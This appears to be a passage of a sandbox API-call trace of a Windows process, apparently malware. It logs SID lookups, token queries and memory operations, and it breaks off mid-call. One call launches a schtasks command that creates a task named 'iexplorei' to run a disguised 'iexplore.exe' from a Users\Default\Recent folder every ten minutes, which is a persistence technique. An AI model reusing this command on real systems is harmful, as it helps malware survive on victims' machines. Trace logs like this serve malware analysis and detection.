(_Block=0x2b0ad0) [0151.395] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0151.396] GetLastError () returned 0x7a [0151.396] malloc (_Size=0x14) returned 0x2af280 [0151.396] malloc (_Size=0x16) returned 0x2af180 [0151.396] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca84, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0151.396] malloc (_Size=0x18) returned 0x2af240 [0151.397] malloc (_Size=0x18) returned 0x2af1a0 [0151.397] free (_Block=0x2af280) [0151.397] free (_Block=0x2af180) [0151.397] free (_Block=0x2b86e0) [0151.397] free (_Block=0x2af1a0) [0151.397] free (_Block=0x2af240) [0151.397] free (_Block=0x2af260) [0151.398] free (_Block=0x2b8b10) [0151.398] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0151.398] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0151.398] GetLastError () returned 0x7a [0151.398] malloc (_Size=0x2c) returned 0x2b8b50 [0151.398] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0151.398] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.398] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0151.398] malloc (_Size=0x1c) returned 0x2b86e0 [0151.398] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.398] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0151.398] malloc (_Size=0x18) returned 0x2af260 [0151.398] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0151.398] malloc (_Size=0x18) returned 0x2af240 [0151.399] malloc (_Size=0x18) returned 0x2af1a0 [0151.399] SysStringLen (param_1="S-1-") returned 0x4 [0151.399] SysStringLen (param_1="5") returned 0x1 [0151.399] memcpy (in: _Dst=0x1423f8, _Src=0x1424b8, _Size=0xa | out: _Dst=0x1423f8) returned 0x1423f8 [0151.399] memcpy (in: _Dst=0x142400, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142400) returned 0x142400 [0151.399] free (_Block=0x2af260) [0151.399] free (_Block=0x2af240) [0151.399] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0151.399] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0151.399] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0151.399] malloc (_Size=0x18) returned 0x2af240 [0151.399] malloc (_Size=0x18) returned 0x2af260 [0151.399] SysStringLen (param_1="S-1-5") returned 0x5 [0151.399] SysStringLen (param_1="-") returned 0x1 [0151.399] memcpy (in: _Dst=0x1424e8, _Src=0x1423f8, _Size=0xc | out: _Dst=0x1424e8) returned 0x1424e8 [0151.399] memcpy (in: _Dst=0x1424f2, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x1424f2) returned 0x1424f2 [0151.399] free (_Block=0x2af1a0) [0151.399] free (_Block=0x2af240) [0151.399] malloc (_Size=0x18) returned 0x2af240 [0151.399] malloc (_Size=0x18) returned 0x2af1a0 [0151.399] SysStringLen (param_1="S-1-5-") returned 0x6 [0151.399] SysStringLen (param_1="21") returned 0x2 [0151.399] memcpy (in: _Dst=0x1424b8, _Src=0x1424e8, _Size=0xe | out: _Dst=0x1424b8) returned 0x1424b8 [0151.400] memcpy (in: _Dst=0x1424c4, _Src=0x1423f8, _Size=0x6 | out: _Dst=0x1424c4) returned 0x1424c4 [0151.400] free (_Block=0x2af260) [0151.400] free (_Block=0x2af240) [0151.400] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0151.400] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0151.404] malloc (_Size=0x18) returned 0x2af240 [0151.404] malloc (_Size=0x18) returned 0x2af260 [0151.404] SysStringLen (param_1="S-1-5-21") returned 0x8 [0151.404] SysStringLen (param_1="-") returned 0x1 [0151.404] memcpy (in: _Dst=0x1423f8, _Src=0x1424b8, _Size=0x12 | out: _Dst=0x1423f8) returned 0x1423f8 [0151.404] memcpy (in: _Dst=0x142408, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142408) returned 0x142408 [0151.404] free (_Block=0x2af1a0) [0151.404] free (_Block=0x2af240) [0151.404] malloc (_Size=0x18) returned 0x2af240 [0151.404] malloc (_Size=0x18) returned 0x2af1a0 [0151.404] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0151.404] SysStringLen (param_1="4219442223") returned 0xa [0151.404] memcpy (in: _Dst=0x117ef8, _Src=0x1423f8, _Size=0x14 | out: _Dst=0x117ef8) returned 0x117ef8 [0151.404] memcpy (in: _Dst=0x117f0a, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x117f0a) returned 0x117f0a [0151.404] free (_Block=0x2af260) [0151.404] free (_Block=0x2af240) [0151.404] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0151.405] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0151.405] malloc (_Size=0x18) returned 0x2af240 [0151.405] malloc (_Size=0x18) returned 0x2af260 [0151.405] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0151.405] SysStringLen (param_1="-") returned 0x1 [0151.405] memcpy (in: _Dst=0x1179f8, _Src=0x117ef8, _Size=0x28 | out: _Dst=0x1179f8) returned 0x1179f8 [0151.405] memcpy (in: _Dst=0x117a1e, _Src=0x1423f8, _Size=0x4 | out: _Dst=0x117a1e) returned 0x117a1e [0151.405] free (_Block=0x2af1a0) [0151.405] free (_Block=0x2af240) [0151.405] malloc (_Size=0x18) returned 0x2af240 [0151.405] malloc (_Size=0x18) returned 0x2af1a0 [0151.405] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0151.405] SysStringLen (param_1="4223814209") returned 0xa [0151.405] memcpy (in: _Dst=0xd8d18, _Src=0x1179f8, _Size=0x2a | out: _Dst=0xd8d18) returned 0xd8d18 [0151.405] memcpy (in: _Dst=0xd8d40, _Src=0x1423f8, _Size=0x16 | out: _Dst=0xd8d40) returned 0xd8d40 [0151.405] free (_Block=0x2af260) [0151.405] free (_Block=0x2af240) [0151.405] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0151.405] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0151.405] malloc (_Size=0x18) returned 0x2af240 [0151.405] malloc (_Size=0x18) returned 0x2af260 [0151.405] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0151.406] SysStringLen (param_1="-") returned 0x1 [0151.406] memcpy (in: _Dst=0x12d6f8, _Src=0xd8d18, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0151.406] memcpy (in: _Dst=0x12d734, _Src=0x1423f8, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0151.406] free (_Block=0x2af1a0) [0151.406] free (_Block=0x2af240) [0151.406] malloc (_Size=0x18) returned 0x2af240 [0151.406] malloc (_Size=0x18) returned 0x2af1a0 [0151.406] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0151.406] SysStringLen (param_1="3835049652") returned 0xa [0151.406] memcpy (in: _Dst=0xd8d18, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0xd8d18) returned 0xd8d18 [0151.406] memcpy (in: _Dst=0xd8d56, _Src=0x1423f8, _Size=0x16 | out: _Dst=0xd8d56) returned 0xd8d56 [0151.406] free (_Block=0x2af260) [0151.406] free (_Block=0x2af240) [0151.406] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0151.406] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0151.406] malloc (_Size=0x18) returned 0x2af240 [0151.406] malloc (_Size=0x18) returned 0x2af260 [0151.407] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0151.407] SysStringLen (param_1="-") returned 0x1 [0151.407] memcpy (in: _Dst=0x12d6f8, _Src=0xd8d18, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0151.407] memcpy (in: _Dst=0x12d74a, _Src=0x1423f8, _Size=0x4 | out: _Dst=0x12d74a) returned 0x12d74a [0151.407] free (_Block=0x2af1a0) [0151.407] free (_Block=0x2af240) [0151.407] malloc (_Size=0x18) returned 0x2af240 [0151.407] malloc (_Size=0x18) returned 0x2af1a0 [0151.409] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0151.409] SysStringLen (param_1="1000") returned 0x4 [0151.409] memcpy (in: _Dst=0xd8d18, _Src=0x12d6f8, _Size=0x56 | out: _Dst=0xd8d18) returned 0xd8d18 [0151.409] memcpy (in: _Dst=0xd8d6c, _Src=0x1423f8, _Size=0xa | out: _Dst=0xd8d6c) returned 0xd8d6c [0151.409] free (_Block=0x2af260) [0151.409] free (_Block=0x2af240) [0151.409] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0151.409] malloc (_Size=0x5e) returned 0x2b0ad0 [0151.409] free (_Block=0x2af1a0) [0151.409] malloc (_Size=0x18) returned 0x2af1a0 [0151.410] free (_Block=0x2b0ad0) [0151.410] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0151.411] GetLastError () returned 0x7a [0151.411] malloc (_Size=0x14) returned 0x2af240 [0151.411] malloc (_Size=0x16) returned 0x2af260 [0151.411] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca94, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0151.412] malloc (_Size=0x18) returned 0x2af180 [0151.412] malloc (_Size=0x18) returned 0x2af280 [0151.412] free (_Block=0x2af240) [0151.412] free (_Block=0x2af260) [0151.412] free (_Block=0x2b86e0) [0151.412] free (_Block=0x2af280) [0151.412] free (_Block=0x2af180) [0151.412] free (_Block=0x2af1a0) [0151.413] free (_Block=0x2b8b50) [0151.413] malloc (_Size=0x48) returned 0x2ad680 [0151.413] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0151.419] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0151.419] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0151.420] malloc (_Size=0x18) returned 0x2af1a0 [0151.420] CreateEnvironmentBlock () returned 0x1 [0151.426] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0151.426] malloc (_Size=0x18) returned 0x2af180 [0151.426] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 10 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x189cb0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 10 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xca0, dwThreadId=0xc84)) returned 1 [0151.433] CloseHandle (hObject=0x300) returned 1 [0151.433] CloseHandle (hObject=0x2fc) returned 1 [0151.433] free (_Block=0x2af180) [0151.433] DestroyEnvironmentBlock () returned 0x1 [0151.433] malloc (_Size=0x48) returned 0x2ad6d0 [0151.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x27069120, dwHighDateTime=0x1d8a92a)) [0151.434] SetEvent (hEvent=0x1f0) returned 1 [0151.434] CloseHandle (hObject=0x234) returned 1 [0151.434] CloseHandle (hObject=0x2d4) returned 1 [0151.582] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0151.582] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0151.582] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0151.906] SetLastError (dwErrCode=0x0) [0151.906] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0151.906] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0151.906] SetLastError (dwErrCode=0x0) [0151.906] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0151.906] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0151.906] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0151.906] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0151.906] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0151.906] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0151.908] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0151.909] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.909] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.909] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0151.909] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.909] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0151.909] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0151.911] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0151.911] GetCurrentThread () returned 0xfffffffffffffffe [0151.911] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x244) returned 1 [0151.911] malloc (_Size=0xd8) returned 0x2b90e0 [0151.911] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0151.911] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0151.911] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0151.912] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0151.913] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0151.913] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0151.913] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0151.913] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0151.913] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0151.913] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0151.914] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0151.914] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0151.914] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0151.914] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0151.914] malloc (_Size=0x18) returned 0x2af1a0 [0151.914] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x248) returned 1 [0151.914] malloc (_Size=0x48) returned 0x2ad6d0 [0151.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x27505bc0, dwHighDateTime=0x1d8a92a)) [0151.914] SetEvent (hEvent=0x1f0) returned 1 [0151.916] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0151.917] GetLastError () returned 0x7a [0151.917] malloc (_Size=0x2c) returned 0x2b8b10 [0151.917] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0151.917] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.917] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0151.917] malloc (_Size=0x1c) returned 0x2b8710 [0151.917] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8710, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0151.917] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0151.917] malloc (_Size=0x18) returned 0x2af1a0 [0151.917] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0151.917] malloc (_Size=0x18) returned 0x2af180 [0151.917] malloc (_Size=0x18) returned 0x2af280 [0151.917] SysStringLen (param_1="S-1-") returned 0x4 [0151.917] SysStringLen (param_1="5") returned 0x1 [0151.917] memcpy (in: _Dst=0x142578, _Src=0x142398, _Size=0xa | out: _Dst=0x142578) returned 0x142578 [0151.917] memcpy (in: _Dst=0x142580, _Src=0x142518, _Size=0x4 | out: _Dst=0x142580) returned 0x142580 [0151.917] free (_Block=0x2af1a0) [0151.917] free (_Block=0x2af180) [0151.917] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0151.917] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0151.917] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0151.917] malloc (_Size=0x18) returned 0x2af180 [0151.917] malloc (_Size=0x18) returned 0x2af1a0 [0151.917] SysStringLen (param_1="S-1-5") returned 0x5 [0151.917] SysStringLen (param_1="-") returned 0x1 [0151.918] memcpy (in: _Dst=0x142518, _Src=0x142578, _Size=0xc | out: _Dst=0x142518) returned 0x142518 [0151.918] memcpy (in: _Dst=0x142522, _Src=0x142398, _Size=0x4 | out: _Dst=0x142522) returned 0x142522 [0151.918] free (_Block=0x2af280) [0151.918] free (_Block=0x2af180) [0151.918] malloc (_Size=0x18) returned 0x2af180 [0151.918] malloc (_Size=0x18) returned 0x2af280 [0151.918] SysStringLen (param_1="S-1-5-") returned 0x6 [0151.918] SysStringLen (param_1="21") returned 0x2 [0151.918] memcpy (in: _Dst=0x142398, _Src=0x142518, _Size=0xe | out: _Dst=0x142398) returned 0x142398 [0151.918] memcpy (in: _Dst=0x1423a4, _Src=0x142578, _Size=0x6 | out: _Dst=0x1423a4) returned 0x1423a4 [0151.918] free (_Block=0x2af1a0) [0151.918] free (_Block=0x2af180) [0151.918] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 